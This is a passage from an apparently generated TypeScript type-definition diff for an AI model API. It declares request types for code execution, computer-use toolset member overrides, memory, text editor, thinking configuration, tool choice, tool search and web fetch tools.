(CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Sparse per-member overrides, keyed by member name. Absent, null, and {} are equivalent; a member's defaults apply wherever its key is absent. + */ + configs?: BrowserToolsetConfigs | null + type: 'browser_toolset_20260801' +} + +export type CodeExecutionTool20250522 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20250522' +} + +export type CodeExecutionTool20250825 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20250825' +} + +/** + * @description A `tools` entry for the code execution tool, version `code_execution_20260120`. It adds REPL state persistence to version `code_execution_20250825`. + * + * REPL state persistence applies with programmatic tool calling. With it, the Python interpreter state, such as variable bindings, persists across requests that reuse the container. + * + * See the [code execution tool guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool#tool-versions) to learn what each tool version adds. + * @type object + */ +export type CodeExecutionTool20260120 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20260120' +} + +/** + * @description Code execution tool with REPL state persistence. + * @type object + */ +export type CodeExecutionTool20260521 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20260521' +} + +/** + * @description ``cursor_position``'s config overrides. + * @type object + */ +export type ComputerCursorPositionConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``double_click``'s config overrides. + * @type object + */ +export type ComputerDoubleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``hold_key``'s config overrides. + * @type object + */ +export type ComputerHoldKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``key``'s config overrides. + * @type object + */ +export type ComputerKeyConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click``'s config overrides. + * @type object + */ +export type ComputerLeftClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_click_drag``'s config overrides. + * @type object + */ +export type ComputerLeftClickDragConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_down``'s config overrides. + * @type object + */ +export type ComputerLeftMouseDownConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``left_mouse_up``'s config overrides. + * @type object + */ +export type ComputerLeftMouseUpConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``middle_click``'s config overrides. + * @type object + */ +export type ComputerMiddleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``mouse_move``'s config overrides. + * @type object + */ +export type ComputerMouseMoveConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``right_click``'s config overrides. + * @type object + */ +export type ComputerRightClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``screenshot``'s config overrides. + * @type object + */ +export type ComputerScreenshotConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``scroll``'s config overrides. + * @type object + */ +export type ComputerScrollConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``triple_click``'s config overrides. + * @type object + */ +export type ComputerTripleClickConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``type``'s config overrides. + * @type object + */ +export type ComputerTypeConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``wait``'s config overrides. + * @type object + */ +export type ComputerWaitConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description ``zoom``'s config overrides. + * @type object + */ +export type ComputerZoomConfig = { + /** + * @description Defer loading for this member. Must resolve to the same value on every enabled member of the toolset. + */ + defer_loading?: boolean | null + /** + * @description Whether this member is offered to the model. Default is per member, per the toolset's documentation. A member whose enabled resolves false is withheld from the served schema. + */ + enabled?: boolean | null +} + +/** + * @description Per-member configuration for ``computer_toolset_20260801``: one + * optional field per member tool, keyed by the member name — the same + * name the member's ``tool_use`` blocks carry. Every member is an + * accepted key, and a member's defaults apply wherever its key is + * absent. Unknown keys are rejected: the field set is this toolset + * version's complete member set. + * @type object + */ +export type ComputerToolsetConfigs = { + cursor_position?: ComputerCursorPositionConfig | null + double_click?: ComputerDoubleClickConfig | null + hold_key?: ComputerHoldKeyConfig | null + key?: ComputerKeyConfig | null + left_click?: ComputerLeftClickConfig | null + left_click_drag?: ComputerLeftClickDragConfig | null + left_mouse_down?: ComputerLeftMouseDownConfig | null + left_mouse_up?: ComputerLeftMouseUpConfig | null + middle_click?: ComputerMiddleClickConfig | null + mouse_move?: ComputerMouseMoveConfig | null + right_click?: ComputerRightClickConfig | null + screenshot?: ComputerScreenshotConfig | null + scroll?: ComputerScrollConfig | null + triple_click?: ComputerTripleClickConfig | null + type?: ComputerTypeConfig | null + wait?: ComputerWaitConfig | null + zoom?: ComputerZoomConfig | null +} + +/** + * @description The computer toolset: a single ``tools[]`` entry (carrying no + * ``name``) that declares the computer tool family. The model is + * served the family's tool with any members disabled via ``configs`` + * removed from its schema. Every member is enabled by default, zoom + * included. The single-tool options ``display_number`` and + * ``enable_zoom`` are not fields of a toolset entry — it carries only + * ``type``, ``configs``, and ``cache_control``; zoom is controlled + * via ``configs.zoom.enabled``. + * @type object + */ +export type ComputerToolset20260801 = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Sparse per-member overrides, keyed by member name. Absent, null, and {} are equivalent; a member's defaults apply wherever its key is absent. + */ + configs?: ComputerToolsetConfigs | null + type: 'computer_toolset_20260801' +} + +export const skillParamsTypeEnum = { + anthropic: 'anthropic', + custom: 'custom', +} as const + +export type SkillParamsTypeEnumKey = + (typeof skillParamsTypeEnum)[keyof typeof skillParamsTypeEnum] + +/** + * @description Specification for a skill to be loaded in a container. + * @type object + */ +export type SkillParams = { + /** + * @description Skill ID + * @minLength 1 + * @maxLength 64 + * @example pdf + * @type string + */ + skill_id: string + /** + * @description Type of skill - either 'anthropic' (built-in) or 'custom' (user-defined) + * @example anthropic + * @type string + */ + type: SkillParamsTypeEnumKey + /** + * @description Skill version or 'latest' for most recent version + * @minLength 1 + * @maxLength 64 + * @example latest + * @type string | undefined + */ + version?: string +} + +/** + * @description Container parameters with skills to be loaded. + * @type object + */ +export type ContainerParams = { + /** + * @description Container id + */ + id?: string | null + /** + * @description List of skills to load in the container + */ + skills?: SkillParams[] | null +} + +/** + * @description Request-level diagnostics. Currently carries the previous response + * id for prompt-cache divergence reporting. + * @type object + */ +export type DiagnosticsParam = { + /** + * @description The `id` (`msg_...`) from this client's previous /v1/messages response. The server compares that request's prompt fingerprint against this one and returns `diagnostics.cache_miss_reason` when the prompt-cache prefix could not be reused. Pass `null` on the first turn to opt in without a prior message to compare. + */ + previous_message_id?: string | null +} + +export const effortLevel = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type EffortLevelKey = (typeof effortLevel)[keyof typeof effortLevel] + +export type UserInputMessage = { + content: InputMessageContent + role: 'user' +} + +export type SystemInputMessage = { + content: + | string + | (RequestTextBlock & { + type: 'text' + })[] + role: 'system' +} + +export type InputMessageUnion = + | (UserInputMessage & { + role: 'user' + }) + | (AssistantInputMessage & { + role: 'assistant' + }) + | (SystemInputMessage & { + role: 'system' + }) + +export type InputSchema = { + properties?: { + [key: string]: unknown + } | null + required?: string[] | null + type: 'object' + [key: string]: unknown +} + +export type JsonOutputFormat = { + /** + * @description The JSON schema of the format + * @type object + */ + schema: { + [key: string]: unknown + } + type: 'json_schema' +} + +export type MemoryTool20250818 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: JsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'memory' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'memory_20250818' +} + +export type OutputConfig = { + /** + * @description How much effort the model should put into its response. Higher effort levels may result in more thorough analysis but take longer. + * + * Valid values are `low`, `medium`, `high`, `xhigh`, or `max`. + */ + effort?: EffortLevelKey | null + /** + * @description A schema to specify Claude's output format in responses. See [structured outputs](https://platform.claude.com/docs/en/build-with-claude/structured-outputs) + */ + format?: JsonOutputFormat | null +} + +export const speed = { + standard: 'standard', + fast: 'fast', +} as const + +export type SpeedKey = (typeof speed)[keyof typeof speed] + +export type TextEditor20250124 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: JsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_editor' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250124' +} + +export type TextEditor20250429 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: JsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_based_edit_tool' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250429' +} + +export type TextEditor20250728 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: JsonValue + }[] + /** + * @description Maximum number of characters to display when viewing a file. If not specified, defaults to displaying the full file. + */ + max_characters?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_based_edit_tool' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250728' +} + +export const thinkingDisplayMode = { + summarized: 'summarized', + omitted: 'omitted', +} as const + +export type ThinkingDisplayModeKey = + (typeof thinkingDisplayMode)[keyof typeof thinkingDisplayMode] + +export type ThinkingConfigAdaptive = { + /** + * @description Controls how thinking content appears in the response. When set to `summarized`, thinking is returned normally. When set to `omitted`, thinking content is redacted but a signature is returned for multi-turn continuity. The default depends on the model; see [Controlling thinking display](https://platform.claude.com/docs/en/build-with-claude/thinking#controlling-thinking-display). + */ + display?: ThinkingDisplayModeKey | null + type: 'adaptive' +} + +export type ThinkingConfigBetweenTools = { + type: 'between_tools' +} + +export type ThinkingConfigDisabled = { + type: 'disabled' +} + +export type ThinkingConfigEnabled = { + /** + * @description Determines how many tokens Claude can use for its internal reasoning process. Larger budgets can enable more thorough analysis for complex problems, improving response quality. + * + * Must be ≥1024 and less than `max_tokens`. + * + * See [extended thinking](https://platform.claude.com/docs/en/build-with-claude/extended-thinking) for details. + * @minimum 1024 + * @type integer + */ + budget_tokens: number + /** + * @description Controls how thinking content appears in the response. When set to `summarized`, thinking is returned normally. When set to `omitted`, thinking content is redacted but a signature is returned for multi-turn continuity. The default depends on the model; see [Controlling thinking display](https://platform.claude.com/docs/en/build-with-claude/thinking#controlling-thinking-display). + */ + display?: ThinkingDisplayModeKey | null + type: 'enabled' +} + +/** + * @description Configuration for Claude's thinking. + * + * With `{"type": "adaptive"}`, Claude decides when and how much to think. With `{"type": "enabled"}` (manual extended thinking), you set a `budget_tokens` of at least 1,024. Thinking tokens count toward your `max_tokens` limit. + * + * Which `type` values are accepted, and what happens when you omit `thinking`, depend on the model. See [thinking](https://platform.claude.com/docs/en/build-with-claude/thinking#configuring-thinking) for each model's behavior. + * @example {"type":"adaptive"} + */ +export type ThinkingConfigParam = + | (ThinkingConfigEnabled & { + type: 'enabled' + }) + | (ThinkingConfigDisabled & { + type: 'disabled' + }) + | (ThinkingConfigBetweenTools & { + type: 'between_tools' + }) + | (ThinkingConfigAdaptive & { + type: 'adaptive' + }) + +export type Tool = { + type?: null | 'custom' + /** + * @description Description of what this tool does. + * + * Tool descriptions should be as detailed as possible. The more information that the model has about what the tool is and how to use it, the better it will perform. You can use natural language descriptions to reinforce important aspects of the tool input JSON schema. + * @example Get the current weather in a given location + * @type string | undefined + */ + description?: string + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @minLength 1 + * @maxLength 128 + * @pattern ^[a-zA-Z0-9_-]{1,128}$ + * @type string + */ + name: string + /** + * @description [JSON schema](https://json-schema.org/draft/2020-12) for this tool's input. + * + * This defines the shape of the `input` that your tool accepts and that the model will produce. + * @example {"properties":{"location":{"description":"The city and state, e.g. San Francisco, CA","type":"string"},"unit":{"description":"Unit for the output - one of (celsius, fahrenheit)","type":"string"}},"required":["location"],"type":"object"} + * @type object + */ + input_schema: InputSchema + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + /** + * @description Enable eager input streaming for this tool. When true, tool input parameters will be streamed incrementally as they are generated, and types will be inferred on-the-fly rather than buffering the full JSON output. When false, streaming is disabled for this tool even if the fine-grained-tool-streaming beta is active. When null (default), uses the default behavior based on beta headers. + */ + eager_input_streaming?: boolean | null + allowed_callers?: AllowedCallerKey[] + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: JsonValue + }[] +} + +/** + * @description The model will automatically decide whether to use tools. + * @type object + */ +export type ToolChoiceAuto = { + /** + * @description Whether to disable parallel tool use. + * + * Defaults to `false`. If set to `true`, the model will output at most one tool use. + * @type boolean | undefined + */ + disable_parallel_tool_use?: boolean + type: 'auto' +} + +/** + * @description The model will use any available tools. + * @type object + */ +export type ToolChoiceAny = { + /** + * @description Whether to disable parallel tool use. + * + * Defaults to `false`. If set to `true`, the model will output exactly one tool use. + * @type boolean | undefined + */ + disable_parallel_tool_use?: boolean + type: 'any' +} + +/** + * @description The model will use the specified tool with `tool_choice.name`. + * @type object + */ +export type ToolChoiceTool = { + /** + * @description Whether to disable parallel tool use. + * + * Defaults to `false`. If set to `true`, the model will output exactly one tool use. + * @type boolean | undefined + */ + disable_parallel_tool_use?: boolean + /** + * @description The name of the tool to use. + * @type string + */ + name: string + type: 'tool' +} + +/** + * @description The model will not be allowed to use tools. + * @type object + */ +export type ToolChoiceNone = { + type: 'none' +} + +/** + * @description How the model should use the provided tools. The model can use a specific tool, any available tool, decide by itself, or not use tools at all. + */ +export type ToolChoice = + | (ToolChoiceAuto & { + type: 'auto' + }) + | (ToolChoiceAny & { + type: 'any' + }) + | (ToolChoiceTool & { + type: 'tool' + }) + | (ToolChoiceNone & { + type: 'none' + }) + +export const toolSearchToolBM2520251119TypeEnum = { + tool_search_tool_bm25_20251119: 'tool_search_tool_bm25_20251119', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type ToolSearchToolBM2520251119TypeEnumKey = + (typeof toolSearchToolBM2520251119TypeEnum)[keyof typeof toolSearchToolBM2520251119TypeEnum] + +export type ToolSearchToolBM2520251119 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'tool_search_tool_bm25' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: ToolSearchToolBM2520251119TypeEnumKey +} + +export const toolSearchToolRegex20251119TypeEnum = { + tool_search_tool_regex_20251119: 'tool_search_tool_regex_20251119', + tool_search_tool_regex: 'tool_search_tool_regex', +} as const + +export type ToolSearchToolRegex20251119TypeEnumKey = + (typeof toolSearchToolRegex20251119TypeEnum)[keyof typeof toolSearchToolRegex20251119TypeEnum] + +export type ToolSearchToolRegex20251119 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'tool_search_tool_regex' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: ToolSearchToolRegex20251119TypeEnumKey +} + +export type UserLocation = { + /** + * @description The city of the user. + * @example New York + * @example Tokyo + * @example Los Angeles + */ + city?: string | null + /** + * @description The two letter [ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) of the user. + * @example US + * @example JP + * @example GB + */ + country?: string | null + /** + * @description The region of the user. + * @example California + * @example Ontario + * @example Wales + */ + region?: string | null + /** + * @description The [IANA timezone](https://nodatime.org/TimeZones) of the user. + * @example America/New_York + * @example Asia/Tokyo + * @example Europe/London + */ + timezone?: string | null + type: 'approximate' +} + +/** + * @description The ``url_sources`` variant under which a source contributes in + * full: every result of the tool filter's source, or all user input. + * @type object + */ +export type WebFetchUrlSourceAll = { + type: 'all' +} + +/** + * @description The ``url_sources`` variant under which a source contributes nothing: + * no result of the tool filter's source, or no user input. + * @type object + */ +export type WebFetchUrlSourceNone = { + type: 'none' +} + +/** + * @description One entry of a tool filter's ``tools``: it must name a tool declared + * in this request's ``tools[]``. + * @type object + */ +export type WebFetchUrlSourceToolReference = { + name: string + type: 'tool_reference' +} + +/** + * @description The tool filter variant under which only the named tools' results + * contribute. + * @type object + */ +export type WebFetchUrlSourceOnly = { + tools: WebFetchUrlSourceToolReference[] + type: 'only' +} + +/** + * @description The tool filter variant under which every result but the named + * tools' contributes. + * @type object + */ +export type WebFetchUrlSourceExcept = { + tools: WebFetchUrlSourceToolReference[] + type: 'except' +} + +/** + * @description Which sources contribute to the set of URLs web fetch may fetch. + * + * Each key is a tagged variant: ``user_input`` is ``all`` or ``none``; the + * two tool filters are ``all``, ``none``, ``only`` (only the named tools' + * results) or ``except`` (every result but the named tools'). A named tool + * must be declared in this request's ``tools[]``. + * @type object + */ +export type WebFetchUrlSources = { + /** + * @description Which client tools' results contribute fetchable URLs: "all", "none", or an only or except list of client tool names from tools[]. + */ + client_tool_results?: + | (WebFetchUrlSourceAll & { + type: 'all' + }) + | (WebFetchUrlSourceNone & { + type: 'none' + }) + | (WebFetchUrlSourceOnly & { + type: 'only' + }) + | (WebFetchUrlSourceExcept & { + type: 'except' + }) + /** + * @description Which server tools' results contribute fetchable URLs: "all", "none", or an only or except list of server tool names from tools[]; only web_search and web_fetch results ever contribute. + */ + server_tool_results?: + | (WebFetchUrlSourceAll & { + type: 'all' + }) + | (WebFetchUrlSourceNone & { + type: 'none' + }) + | (WebFetchUrlSourceOnly & { + type: 'only' + }) + | (WebFetchUrlSourceExcept & { + type: 'except' + }) + /** + * @description Whether URLs in user messages are fetchable: "all" or "none". + */ + user_input?: + | (WebFetchUrlSourceAll & { + type: 'all' + }) + | (WebFetchUrlSourceNone & { + type: 'none' + }) +} + +export type WebFetchTool20250910 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: RequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20250910' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: WebFetchUrlSources | null +} + +export type WebFetchTool20260209 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: RequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260209' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: WebFetchUrlSources | null +} + +/** + * @description Web fetch tool with use_cache parameter for bypassing cached content. + * @type object + */ +export type WebFetchTool20260309 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: RequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260309' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: WebFetchUrlSources | null + /** + * @description Whether to use cached content. Set to false to bypass the cache and fetch fresh content. Only set to false when the user explicitly requests fresh content or when fetching rapidly-changing sources. + * @type boolean | undefined + */ + use_cache?: boolean +} + +export const webFetchTool20260318ResponseInclusionEnum = { + full: 'full', + excluded: 'excluded', +} as const + +export type WebFetchTool20260318ResponseInclusionEnumKey = + (typeof webFetchTool20260318ResponseInclusionEnum)[keyof typeof webFetchTool20260318ResponseInclusionEnum] + +export type WebFetchTool20260318 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: RequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The 